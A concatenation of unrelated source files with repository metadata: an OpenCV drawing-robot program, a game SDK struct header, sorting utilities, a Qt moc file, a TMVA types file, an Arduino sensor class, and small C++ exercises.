Borders",image_only_borders); destroyWindow("Only Borders"); reduce_noise(image_only_borders); namedWindow("No Noise",CV_WINDOW_AUTOSIZE); imshow("No Noise",image_only_borders); setMouseCallback("No Noise", Erase, (NULL)); waitKey(0); while(startingPoint(image_only_borders).x!=-1 && i<1000) //again i<1000 as max number of paths is 1000 { make_a_path(image_only_borders, path[i]); isPath[i]=1; clear_traversed_path(image_only_borders,path[i]); i++; } imshow("No Noise",image_only_borders); waitKey(0); tracing_of_path=image_only_borders.clone(); final_points=image_only_borders.clone(); } //now merge paths.... for(int j=0;j<i;j++) for(int k=j+1;k<i;k++) if(isPath[j] && isPath[k]) merge_paths(path[j], path[k], isPath[j], isPath[k]); //display how our bot will actually trace the path namedWindow("How bot will draw", CV_WINDOW_AUTOSIZE); for(int j=0;j<i;j++) { if(isPath[j]) { for (vector<Points>::iterator it = path[j].begin() ; it != path[j].end(); ++it) { //cout <<it->x<<" "<<it->y<<endl; tracing_of_path.at<uchar>(it->y, it->x) = 0; imshow("How bot will draw", tracing_of_path); waitKey(1); } } } //now only take the points which can be drawn //vector<Points> drawThis; float current_angle=90.0; int pathToDraw=0; int pathIndex=0; //timepass is index of path while(pathIndex<i) { if(isPath[pathIndex]) { pathToDraw=pathIndex; } else { pathIndex++; continue; } //get drawing board resolution and set drawing_resolution and rotation_resolution accordingly vector<Points>::iterator it=path[pathToDraw].begin(); while(it<path[pathToDraw].end()-1) { drawThis.push_back(*path[pathToDraw].begin()); //now call function which calculates the point Points current_point=*it; float distance; int angleToRotate; while(it<path[pathToDraw].end()-1) { distance=calc_distance(current_point, *(it+1)); angleToRotate=calc_rotate_angle(current_point, *(it+1), current_angle); if(distance>3*bot_forward_resolution && (angleToRotate>2*bot_rotation_resolution || angleToRotate<-2*bot_rotation_resolution || (angleToRotate==0))) break; /*if(abs(calc_rotate_angle(*(it),*(it+5),0) - calc_rotate_angle(*(it-5),*(it),0))>=40 && abs(calc_rotate_angle(*(it),*(it+1),0) - calc_rotate_angle(*(it),*(it+5),0))<=0.5 && abs(calc_rotate_angle(*(it-1),*(it),0) - calc_rotate_angle(*(it-5),*(it),0))<=0.5 ) { update_current_angle(*it, *(it+1), current_angle); it--; break; }*/ it++; } it++; //before push_back check whether points lie on a line if yes, delete previous point if(calc_rotate_angle(current_point, *(it),current_angle)==0) { drawThis.pop_back(); } drawThis.push_back(*it); //update current angle update_current_angle(current_point, *it, current_angle); } drawThis.push_back(*(path[pathIndex].end()-1)); pathIndex++; Points null=Points(0,0); drawThis.push_back(null); } //display the final_points for(int i=0;i<final_points.cols;i++) for(int j=0;j<final_points.rows;j++) { final_points.at<uchar>(j,i)=255; } namedWindow("Final Points",CV_WINDOW_AUTOSIZE); imshow("Final Points",final_points); //cout final points to be drawn for (vector<Points>::iterator it = drawThis.begin() ; it < drawThis.end(); ++it) { //cout <<it->x<<" "<<it->y<<endl; final_points.at<uchar>(it->y,it->x)=0; imshow("Final Points",final_points); waitKey(5); } //cout<<"Points Shown Successfully"; waitKey(0); destroyAllWindows(); namedWindow("Final Points",CV_WINDOW_AUTOSIZE); imshow("Final Points",final_points); { //XBee communication: 0:command; 1:x2; 2:y2 commands: 0 is start, 1 is move, 2 is pen-up, 3 is pen-down char data=0; char dx, dy; bool isPenDown=1; char isNegative; //first tp data.... {//instruction to start sendAndRecieve(data); } {//now penup data=1; sendAndRecieve(data); } {//now move to 1st point dx=drawThis.begin()->x; sendAndRecieve(dx); if(dx<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); dy=tracing_of_path.rows - drawThis.begin()->y; sendAndRecieve(dy); if(dy<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); readByte(); } {//now pendown data=2; sendAndRecieve(data); isPenDown=1; } {//now 2nd point dx=drawThis.begin()->x; dx=((drawThis.begin()+1)->x) - dx; sendAndRecieve(dx); if(dx<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); dy=drawThis.begin()->y; dy=-(((drawThis.begin()+1)->y) - dy); sendAndRecieve(dy); if(dy<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); readByte(); } //First the command bit: move as it is is 0, penup is 1, pendown is 2 //Second x1: it.x-(it-1).x //Third y1: it.y-(it-1).y for(vector<Points>::iterator it=drawThis.begin()+2; it!= drawThis.end(); ++it) { //first the command if((it)->x==0 && (it)->y==0 && isPenDown==1) { data=1; //cout<<"Data"; sendAndRecieve(data); ++it; isPenDown=0; } else if((it-2)->x==0 && (it-2)->y==0 && isPenDown==0) { data=2; //cout<<"Data"; sendAndRecieve(data); isPenDown=1; } else { data=0; //cout<<"Data"; sendAndRecieve(data); } //now the x-coordinate if(isPenDown) { //cout<<"DX"; dx=(it->x) - ((it-1)->x); sendAndRecieve(dx); if(dx<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); //cout<<it->x<<endl; } else { //cout<<"DX"; dx=(it->x) - ((it-2)->x); sendAndRecieve(dx); if(dx<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); //cout<<it->x<<endl; } //now the y-coordinate if(isPenDown) { //cout<<"DY"; dy=-((it->y) - ((it-1)->y)); sendAndRecieve(dy); if(dy<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); //readByte(); //cout<<it->y<<endl; } else { //cout<<"DY"; dy=-((it->y) - ((it-2)->y)); sendAndRecieve(dy); if(dy<0) isNegative=1; else isNegative=0; sendAndRecieve(isNegative); //readByte(); //cout<<it->y<<endl; } } } } catch(...) { cout<<"The given image cannot be processed or drawn by the bot."; exit(1); } cout<<"Drawing successfully made ( hopefully ;) )"; return 0; } void CallBackFunc(int event ,int x,int y,int flags,void* userdata) { if(event==EVENT_LBUTTONDOWN) { if(previous_mouse_x<image.cols-1 && previous_mouse_x>1 && previous_mouse_y<image.rows-1 && previous_mouse_y>1 && x<image.cols-1 && x>1 && y<image.rows-1 && y>1) { image.at<uchar>(y,x)=0; Points pt(x,y); //cout<<endl<<x<<"\t"<<y; path[i].push_back(pt); } imshow("my window",image); isLeftButtonDown=1; previous_mouse_x=x; previous_mouse_y=y; } if(event==EVENT_MOUSEMOVE && isLeftButtonDown==1) { if(previous_mouse_x<image.cols-1 && previous_mouse_x>1 && previous_mouse_y<image.rows-1 && previous_mouse_y>1 && x<image.cols-1 && x>1 && y<image.rows-1 && y>1) { image.at<uchar>(y,x)=0; Points pt(x,y); //cout<<endl<<x<<"\t"<<y; draw_the_line(previous_mouse_x, previous_mouse_y, x, y, image, path[i]); path[i].push_back(pt); } imshow("my window",image); previous_mouse_x=x; previous_mouse_y=y; } if(event==EVENT_LBUTTONUP) { isLeftButtonDown=0; isPath[i]=1; i++; } } void Erase(int event ,int x,int y,int flags,void* userdata) { if(event==EVENT_RBUTTONDOWN) { if(previous_mouse_x<image_only_borders.cols-1 && previous_mouse_x>1 && previous_mouse_y<image_only_borders.rows-1 && previous_mouse_y>1 && x<image_only_borders.cols-1 && x>1 && y<image_only_borders.rows-1 && y>1) { image_only_borders.at<uchar>(y,x)=255; } imshow("No Noise",image_only_borders); isRightButtonDown=1; previous_mouse_x=x; previous_mouse_y=y; } if(event==EVENT_MOUSEMOVE && isRightButtonDown==1) { if(previous_mouse_x<image_only_borders.cols-1 && previous_mouse_x>1 && previous_mouse_y<image_only_borders.rows-1 && previous_mouse_y>1 && x<image_only_borders.cols-1 && x>1 && y<image_only_borders.rows-1 && y>1) { image_only_borders.at<uchar>(y,x)=255; draw_the_line_white(previous_mouse_x, previous_mouse_y, x, y, image_only_borders); } imshow("No Noise",image_only_borders); previous_mouse_x=x; previous_mouse_y=y; } if(event==EVENT_RBUTTONUP) { isRightButtonDown=0; } }
[ "ssaurabh41@gmail.com" ]
ssaurabh41@gmail.com
5f49d6c8c12e026dcd9f00ed45f54f2a782c2001
31c38c6fa9d1aa2ad0ce113e7084cb8c0f7bc956
/SDK/BreathingBubble_Struct_structs.h
197867379cafeabc32e0b39e52d3c9ab3bf31e23
[]
no_license
xnf4o/DBD_SDK_461
d46feebba60aa71285479e4c71ff5dbf5d57b227
9d4fb29a75b63f4bd8813d4ee0cdb897aa792a58
refs/heads/main
2023-04-12T22:27:19.819706
2021-04-14T22:09:39
2021-04-14T22:09:39
358,058,055
3
1
null
null
null
null
UTF-8
C++
false
false
1,962
h
#pragma once // Name: DeadByDaylight, Version: 4.6.1 /*!!DEFINE!!*/ /*!!HELPER_DEF!!*/ /*!!HELPER_INC!!*/ #ifdef _MSC_VER #pragma pack(push, 0x01) #endif namespace CG { //--------------------------------------------------------------------------- // Script Structs //--------------------------------------------------------------------------- // UserDefinedStruct BreathingBubble_Struct.BreathingBubble_Struct // 0x0018 struct FBreathingBubble_Struct { float Thickness_22_E73532F746073824182B51BCBBB6A322; // 0x0000(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData, NoDestructor, HasGetValueTypeHash) float PeakAbsciss_32_9E6A3A0C444233C2052CEB8C75F28CB0; // 0x0004(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData, NoDestructor, HasGetValueTypeHash) float PeakOrdinate_26_C69A1832461F335A95D8EAA43BB90041; // 0x0008(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData, NoDestructor, HasGetValueTypeHash) float ScaleValue_27_0319B8BA4CA8E7F78CDB5EB919BCD823; // 0x000C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData, NoDestructor, HasGetValueTypeHash) float Time_28_4DBB05714017200FEEFB369D030B37DA; // 0x0010(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData, NoDestructor, HasGetValueTypeHash) float Duration_31_F6AFB3AE45D7E0340DC28D81EA57EDA4; // 0x0014(0x0004) (Edit, BlueprintVisible, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) }; } #ifdef _MSC_VER #pragma pack(pop) #endif
[ "xnf4o@inbox.ru" ]
xnf4o@inbox.ru
8a940c699f549f5a62d1ebe0bd5a3be6e130af1f
5b449ac6ef9c0527ed05140bb3d87db7af56a343
/Heap_Radix Sort/sort_utilities.h
64a70732706dca18dcf837046637edfd275ae703
[ "MIT" ]
permissive
siddharthk07/Algorithms
c9460e02a8a3a6dad39659a547bbd4589bb61837
da92b91a2decb9149f2dc4d07216b115cbe48bcf
refs/heads/master
2022-05-05T13:21:07.984555
2018-01-29T01:10:38
2018-01-29T01:10:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
3,175
h
void swap(int *xp, int *yp) /** Swaps two integer numbers. @param Two integer values. @return The volume of the sphere. */ { int temp = *xp; *xp = *yp; *yp = temp; } void print_array(int arr[], int n) { /** Accepts an array and print the elements . @param A integer array and size of array n. */ for(int i=0; i<n; ++i) std::cout << arr[i] << ' '; } void heap_print_array(int arr[], int n) { /** Accepts an array and print the elements . @param A integer array and size of array n. */ for(int i=1; i<=n; ++i) std::cout << arr[i] << ' '; } void visualize(int arr[], int n){ /** Visualizes sorting arrays using * . @param A integer array and size of array n. @return Visualizations in form of **** . */ if (n <= 20){ { for(int i = 0; i < n;i++){ for (int j = 0; j < arr[i]; j++) std::cout << "*"; std::cout << "\n"; } std::cout << "\n"; } } } int getMax(int arr[], int n) { int mx = arr[0]; for (int i = 1; i < n; i++) if (arr[i] > mx) mx = arr[i]; return mx; } // A function to do counting sort of arr[] according to // the digit represented by exp. void countSort(int arr[], int n, int exp) { int output[n]; // output array int i, count[10] = {0}; // Store count of occurrences in count[] for (i = 0; i < n; i++) count[ (arr[i]/exp)%10 ]++; // Change count[i] so that count[i] now contains actual // position of this digit in output[] for (i = 1; i < 10; i++) count[i] += count[i - 1]; // Build the output array for (i = n - 1; i >= 0; i--) { output[count[ (arr[i]/exp)%10 ] - 1] = arr[i]; count[ (arr[i]/exp)%10 ]--; } // Copy the output array to arr[], so that arr[] now // contains sorted numbers according to current digit for (i = 0; i < n; i++) arr[i] = output[i]; } // The main function to that sorts arr[] of size n using // Radix Sort void radixsort(int arr[], int n) { // Find the maximum number to know number of digits int m = getMax(arr, n); // Do counting sort for every digit. Note that instead // of passing digit number, exp is passed. exp is 10^i // where i is current digit number for (int exp = 1; m/exp > 0; exp *= 10) {visualize(arr,n); countSort(arr, n, exp);} visualize(arr,n); } void max_heapify(int *a, int i, int n) { int j, temp; temp = a[i]; j = 2*i; while (j <= n) { if (j < n && a[j+1] > a[j]) j = j+1; if (temp > a[j]) break; else if (temp <= a[j]) { a[j/2] = a[j]; j = 2*j; } } a[j/2] = temp; return; } void heap_sort(int *a, int n) { int i, temp; for (i = n; i >= 2; i--) { visualize(a, i+1); temp = a[i]; a[i] = a[1]; a[1] = temp; max_heapify(a, 1, i - 1); } visualize(a, i+1); //visualize(a, i-1); } void build_maxheap(int *a, int n) { int i; for(i = n/2; i >= 1; i--) { max_heapify(a, i, n); } }
[ "think.siddharth@gmail.com" ]
think.siddharth@gmail.com
d920979234be58b91e7cc24c7187efb30120c699
63c7c7e07cf23aa82b6a61a516174da63504f095
/西北大学新生寒假训练(2)——贪心/c.cpp
0d674db2cf6b6622b4003d79cd5cce99451d1862
[]
no_license
Linfanty/Code-in-Freshman
3b174b6fab510dc1aa214d760f050ca1618afc8d
b60b99f520c4740c6b8306880680a610f054f403
refs/heads/master
2021-01-24T12:37:29.255747
2018-02-27T15:10:29
2018-02-27T15:10:29
123,144,148
1
0
null
null
null
null
UTF-8
C++
false
false
761
cpp
#include<stdio.h> #include<string.h> #include<algorithm> #include<sstream> #include<iostream> #include<math.h> #include<stdlib.h> typedef long long ll; using namespace std; struct Node { ll c; ll d; }node[100001]; bool cmp(Node x,Node y) { if(x.d == y.d ) return x.c < y.c ; return x.d < y.d ; } int main() { ll n; scanf("%lld",&n); for(int i=1;i<=n;i++) { ll m; scanf("%lld",&m); for(int j=0;j<m;j++) scanf("%lld %lld",&node[j].c ,& node[j].d ); sort(node, node +m, cmp); ll max = 0; ll mid =0; ll count=0; for(int j=0;j<m;j++) { //if(node[j].d >= mid) { count+= node[j].c ; mid = count- node[j].d; if(count- node[j].d >max) swap(mid,max); } } printf("Case %lld: %lld\n",i,max); } return 0; }
[ "wty2003728@163.com" ]
wty2003728@163.com
663c3989a740e7408bd069b0bf006a1fc9e9e081
877fff5bb313ccd23d1d01bf23b1e1f2b13bb85a
/app/src/main/cpp/dir7941/dir7942/dir8062/dir8063/dir12766/dir12767/dir19789/dir19910/dir19945/file19999.cpp
cd8aafc31aecad3461edb8de8240f057a4d3ea27
[]
no_license
tgeng/HugeProject
829c3bdfb7cbaf57727c41263212d4a67e3eb93d
4488d3b765e8827636ce5e878baacdf388710ef2
refs/heads/master
2022-08-21T16:58:54.161627
2020-05-28T01:54:03
2020-05-28T01:54:03
267,468,475
0
0
null
null
null
null
UTF-8
C++
false
false
115
cpp
#ifndef file19999 #error "macro file19999 must be defined" #endif static const char* file19999String = "file19999";
[ "tgeng@google.com" ]
tgeng@google.com
464f2683aa1ebf8ed5e62a69efd627192816f2d6
fc90eb39b56b6974115ba781673d913bedf648ec
/JSONShowUtil.h
c1a5f5ab1fd19d5b0e0e9c9368e3acd127acd063
[]
no_license
DifferentN/APIUI
10fa64cf0b04317c74d068b3d05054f7f70d5074
400f034753e3e3dd3f570c6edca75117d6c54c37
refs/heads/master
2023-03-14T18:09:28.872447
2021-02-27T08:13:24
2021-02-27T08:13:24
324,682,275
0
0
null
null
null
null
UTF-8
C++
false
false
1,025
h
#ifndef JSONSHOWUTIL_H #define JSONSHOWUTIL_H #endif // JSONSHOWUTIL_H #include <QJsonDocument> #include <QJsonParseError> #include <QFile> #include <QJsonObject> #include <QDebug> #include <QJsonArray> #include <QTreeWidget> class JSONShowUtil{ public: QTreeWidgetItem * addInstance(QTreeWidget *treeWidght,QString path); JSONShowUtil(); ~JSONShowUtil(); private: QString METHOD_NAME = "methodName"; QJsonArray readInstanceJSONArray(QString path); QTreeWidgetItem * addEvents(QTreeWidget *treeWidght,QJsonArray eventJSONArray,QString title); void addEvent(QTreeWidgetItem *parentItem,QJsonObject eventJSON); void addMethods(QTreeWidgetItem *parentItem,QJsonArray methodJSONArray); void addMethod(QTreeWidgetItem *parentItem,QJsonObject methodJSON); QList<QString> getUserInput(QJsonArray eventJSONArray); public: enum treeTtemType{itTopItem=1001,itGroupItem,itImageItem}; enum treeColNum{colItem=0,colItemType}; };
[ "1791673642@qq.com" ]
1791673642@qq.com
5fd72130e162d9147e9abb4f70b71619f9d7cb77
eb79ba72919a99ebfe0100adc0ba15eb66f27609
/tmp/moc/moc_dyparameterwidget.cpp
3e72551be95ada76561a7a1f628f2f8052a2777e
[]
no_license
lawrencetang/K5500Source
7f5d280272bc4c6d9b17122acb8135899676a888
810d2d75ee55da3b324c618d8c67ef3da3443808
refs/heads/master
2020-03-07T08:41:27.619933
2018-04-03T01:14:53
2018-04-03T01:14:53
127,385,731
1
0
null
null
null
null
UTF-8
C++
false
false
3,449
cpp
/**************************************************************************** ** Meta object code from reading C++ file 'dyparameterwidget.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.4.2) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../../applications/dynamicswindow/dyparameterwidget.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'dyparameterwidget.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.4.2. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_DYParameterWidget_t { QByteArrayData data[3]; char stringdata[27]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_DYParameterWidget_t, stringdata) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_DYParameterWidget_t qt_meta_stringdata_DYParameterWidget = { { QT_MOC_LITERAL(0, 0, 17), // "DYParameterWidget" QT_MOC_LITERAL(1, 18, 7), // "restore" QT_MOC_LITERAL(2, 26, 0) // "" }, "DYParameterWidget\0restore\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_DYParameterWidget[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x0a /* Public */, // slots: parameters QMetaType::Void, 0 // eod }; void DYParameterWidget::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { DYParameterWidget *_t = static_cast<DYParameterWidget *>(_o); switch (_id) { case 0: _t->restore(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject DYParameterWidget::staticMetaObject = { { &QFrame::staticMetaObject, qt_meta_stringdata_DYParameterWidget.data, qt_meta_data_DYParameterWidget, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *DYParameterWidget::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *DYParameterWidget::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_DYParameterWidget.stringdata)) return static_cast<void*>(const_cast< DYParameterWidget*>(this)); return QFrame::qt_metacast(_clname); } int DYParameterWidget::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QFrame::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } QT_END_MOC_NAMESPACE
[ "526785371@qq.com" ]
526785371@qq.com
699113be6123d645b31efad1090c91c9aa1cb483
e8f9ae79912960999c19703f419f65e174b19c30
/practice dsa/practice segment.cpp
ca7650cecb41a41e6395cb1932c541ef5c054bcc
[]
no_license
nk185545/c-DSA
a57e5e6d637fc57ca19b2321c451ea64824aa1e0
7fc609dba21a4b6f9451bd4785b84273906865d9
refs/heads/master
2023-04-03T21:59:42.022675
2021-04-18T10:07:45
2021-04-18T10:07:45
346,781,781
2
0
null
null
null
null
UTF-8
C++
false
false
986
cpp
#include<iostream> #include<math.h> using namespace std; void createSegment(int segment[],int arr[],int l,int h,int i) { if(l==h) { segment[i]=arr[l]; return; } int mid=(l+h)/2; createSegment(segment,arr,l,mid,2*i+1); createSegment(segment,arr,mid+1,h,2*i+2); segment[i]=segment[2*i+1]+segment[2*i+2]; } int range(int segment[],int ql,int qr,int l,int h,int i) { if(ql>h || qr<l) { return 0; } if(ql<=l && qr>=h) return segment[i]; int mid=(l+h)/2; return range(segment,ql,qr,l,mid,2*i+1)+range(segment,ql,qr,mid+1,h,2*i+2); } int main() { int n; cin>>n; int arr[25]; for(int i=0;i<n;i++) { cin>>arr[i]; } float x=log2(n); int y=int(x); int n1; if(x==y) { n1=2*n-1; } else { n1=pow(2,y+1)*2-1; } int mid=(n1+1)/2; int segment[n1]; for(int i=n;i<mid;i++) { arr[i]=0; } createSegment(segment,arr,0,mid-1,0); for(int i=0;i<n1;i++) { cout<<segment[i]<<" "; } cout<<endl; int ans= range(segment,1,3,0,mid-1,0); cout<<ans; }
[ "neetukumawat661@gmail.com" ]
neetukumawat661@gmail.com
cb81dc8d1e3d3e5e4769465c71048197d2ce98a5
225e82d7a70bfeb544d758c4a01321701ff06a61
/root/TMVA/TMVA/include/TMVA/Types.cxx
1c6f1cf5c8a204b5d5a409f1286818f1551fea48
[ "BSD-3-Clause" ]
permissive
govoni/learn
9760494d592ba09a98e08939818415857d015371
cb02b6621af73efdbf1e64e5fc39ecd9e72516af
refs/heads/master
2021-01-19T18:51:14.476573
2019-07-22T09:05:26
2019-07-22T09:05:26
101,170,943
0
0
null
null
null
null
UTF-8
C++
false
false
4,120
cxx
// @(#)root/tmva $Id: Types.cxx,v 1.27 2008/01/09 23:52:32 stelzer Exp $ // Author: Andreas Hoecker, Joerg Stelzer, Helge Voss /********************************************************************************** * Project: TMVA - a Root-integrated toolkit for multivariate data analysis * * Package: TMVA * * Class : Types * * Web : http://tmva.sourceforge.net * * * * Description: * * Implementation * * * * Authors (alphabetical): * * Andreas Hoecker <Andreas.Hocker@cern.ch> - CERN, Switzerland * * Joerg Stelzer <Joerg.Stelzer@cern.ch> - CERN, Switzerland * * Helge Voss <Helge.Voss@cern.ch> - MPI-K Heidelberg, Germany * * * * Copyright (c) 2005: * * CERN, Switzerland * * U. of Victoria, Canada * * MPI-K Heidelberg, Germany * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted according to the terms listed in LICENSE * * (http://mva.sourceforge.net/license.txt) * **********************************************************************************/ #include <map> #include "TMVA/Types.h" ////////////////////////////////////////////////////////////////////////// // // // Singleton class for TMVA typedefs and enums // // // ////////////////////////////////////////////////////////////////////////// TMVA::Types* TMVA::Types::fgTypesPtr = 0; //_______________________________________________________________________ TMVA::Types::Types() : fLogger( "Types" ) { // constructor // fill map that links method names and enums fStr2type["Variable"] = Types::kVariable; fStr2type["Cuts"] = Types::kCuts; fStr2type["Likelihood"] = Types::kLikelihood; fStr2type["PDERS"] = Types::kPDERS; fStr2type["KNN"] = Types::kKNN; fStr2type["HMatrix"] = Types::kHMatrix; fStr2type["Fisher"] = Types::kFisher; fStr2type["MLP"] = Types::kMLP; fStr2type["CFMlpANN"] = Types::kCFMlpANN; fStr2type["TMlpANN"] = Types::kTMlpANN; fStr2type["BDT"] = Types::kBDT; fStr2type["RuleFit"] = Types::kRuleFit; fStr2type["SVM"] = Types::kSVM; fStr2type["FDA"] = Types::kFDA; fStr2type["BayesClassifier"] = Types::kBayesClassifier; fStr2type["Committee"] = Types::kCommittee; fStr2type["SeedDistance"] = Types::kSeedDistance; fStr2type["Plugins"] = Types::kPlugins; } //_______________________________________________________________________ TMVA::Types::EMVA TMVA::Types::GetMethodType( const TString& method ) const { // returns the method type (enum) for a given method (string) std::map<TString, EMVA>::const_iterator it = fStr2type.find( method ); if (it == fStr2type.end()) { fLogger << kINFO << "unknown method " << method << Endl; return kMaxMethod; // Inserted to get rid of GCC warning... } else return it->second; }
[ "pietro.govoni@gmail.com" ]
pietro.govoni@gmail.com
b2484ab938f964e62adebfeb1eebb8bdd3cf72d4
08b8cf38e1936e8cec27f84af0d3727321cec9c4
/data/crawl/squid/hunk_7749.cpp
c2d9fd0fc1157849418aa0198c7ea0c9e92f0d71
[]
no_license
ccdxc/logSurvey
eaf28e9c2d6307140b17986d5c05106d1fd8e943
6b80226e1667c1e0760ab39160893ee19b0e9fb1
refs/heads/master
2022-01-07T21:31:55.446839
2018-04-21T14:12:43
2018-04-21T14:12:43
null
0
0
null
null
null
null
UTF-8
C++
false
false
516
cpp
{ squid_read_data_t *data; - data = (squid_read_data_t *) xmalloc(sizeof(squid_read_data_t)); - memset(data, '\0', sizeof(squid_read_data_t)); + data = xcalloc(1, sizeof(squid_read_data_t)); data->sentry = sentry; data->fd = file_open((char *) ConfigFile, NULL, O_RDONLY); - storeAppendPrintf(sentry, "{\n"); + storeAppendPrintf(sentry, open_bracket); file_walk(data->fd, (FILE_WALK_HD) squidReadEndHandler, (void *) data, (FILE_WALK_LHD) squidReadHandler, (void *) data); }
[ "993273596@qq.com" ]
993273596@qq.com
38d3117699433e79ec236ee836e5c259d20015cd
7b764e4f509d56fcc7638974f453bbb21df7d645
/18127208_w06/18127208_Week06_03/18127208_Ex01/NhanVienCongNhat.cpp
34d25f22fe946387e970e9f5c6a4560fddf96cb6
[]
no_license
thaintp/lthdt-18clc1-18127208
775b3a95e18feda2dea60711b9a56357fa657a8d
c814645892ebd7f351010e536e944da04f8ce58e
refs/heads/master
2022-01-15T15:33:50.990639
2019-07-24T03:56:14
2019-07-24T03:56:14
null
0
0
null
null
null
null
UTF-8
C++
false
false
334
cpp
#include "NhanVienCongNhat.h" bool NhanVienCongNhat::input() { NhanVien::input(); std::cout << "The number of days: "; std::cin >> days; return true; } void NhanVienCongNhat::display() { NhanVien::display(); std::cout << "\nThe number of days: " << days; } uint32_t NhanVienCongNhat::getSalary() { return days * coefficient; }
[ "hacbangtam@gmail.com" ]
hacbangtam@gmail.com
3f6a83f7bc5395ce7cec92bd31a900a03abe1236
529bec42b6ceef6c4b52e6c692d5694a5aa58277
/arduino/libraries/Arduino_BHY2/src/sensors/Sensor.cpp
01c696e060f0832bac5d633bd9c35b694671437a
[]
no_license
seapat/SmartIOT
4b165bf4f0c8c95a29eaabb83de9f949461b812c
203ad08c6e7e5b6ddadd4ca61d1c3d7ab091f59e
refs/heads/master
2023-07-30T03:44:31.019489
2021-09-28T19:53:55
2021-09-28T19:53:55
411,418,372
2
0
null
null
null
null
UTF-8
C++
false
false
696
cpp
#include "Sensor.h" #include "SensorManager.h" Sensor::Sensor() : _id(0), _subscribed(false) { } Sensor::Sensor(uint8_t id) : _id(id), _subscribed(false) { } Sensor::~Sensor() { disable(); } uint8_t Sensor::id() { return _id; } void Sensor::configure(float rate, uint32_t latency) { SensorConfigurationPacket config {_id, rate, latency}; sensortec.configureSensor(config); if (rate == 0 && _subscribed) { // unregister sensor sensorManager.unsubscribe(this); _subscribed = false; } else if (rate > 0 && !_subscribed) { // register sensor sensorManager.subscribe(this); _subscribed = true; } } void Sensor::disable() { configure(0, 0); }
[ "Sean@DESKTOP-9JUULL6" ]
Sean@DESKTOP-9JUULL6
d45894afddc194cbb0cf89ca3ee6bd6cb8bfd850
e76a956153dd9886449f808a5051f1ca9348f4f1
/34.cpp
da220da4432b61ea74d1a0c89c38fe1f8328d053
[]
no_license
grahampicard/my-project-euler
e7c6ba5718a77e7ce1c9383e2070511a4ba7a39d
74d7199ac9c5f6ccecf8bc039c9dd3d017a7495f
refs/heads/main
2023-08-29T21:31:13.480434
2021-11-03T02:21:21
2021-11-03T02:21:21
408,908,691
0
0
null
null
null
null
UTF-8
C++
false
false
423
cpp
#include <iostream> int factorial(int num) { int prod = 1; while (num > 0) { prod *= num; num -= 1; } return prod; } int main() { int sums = 0; for (int i = 3; i < 1000000; ++i) { int sum = 0; int val = i; while (val >= 1) { sum += factorial(val % 10); val = val / 10; } if (i == sum) { sums += sum; } } std::cout << sums << std::endl; return 0; }
[ "grahampicard@gmail.com" ]
grahampicard@gmail.com
ea7c3ef0c4ef96469ff96b3d5c9a6c74c80b8cde
6f5f57aa6933e4d78dd301d4c42a50b56c116e70
/video/1-display-video.cc
1d64096b66f65d23bde238516434811e82a54431
[]
no_license
SageWu/opencv-example
c932a749a0facffdcf998cab4207e8cb729dfac5
57de45a1af47a951c4ce9d3b2b83350c68244f56
refs/heads/master
2023-04-11T12:39:10.674983
2021-04-18T09:22:03
2021-04-18T09:22:03
356,908,829
0
0
null
null
null
null
UTF-8
C++
false
false
422
cc
#include <iostream> #include <opencv2/highgui.hpp> #include <opencv2/imgcodecs.hpp> using namespace std; using namespace cv; int main() { string path = "static/test_video.mp4"; // 从视频文件捕获数据 VideoCapture cap(path); Mat img; while (true) { // 读取帧 bool res = cap.read(img); if (!res) { break; } imshow("display video", img); waitKey(16); } return 0; }
[ "sq13592829287@gmail.com" ]
sq13592829287@gmail.com
25ad808f2932f010209c34127c11a1e0690971bc
06bed8ad5fd60e5bba6297e9870a264bfa91a71d
/appslib/vsdecodercreationaction.cpp
d52a16c18621da24ed1c6b6d15f2c6720f9573e9
[]
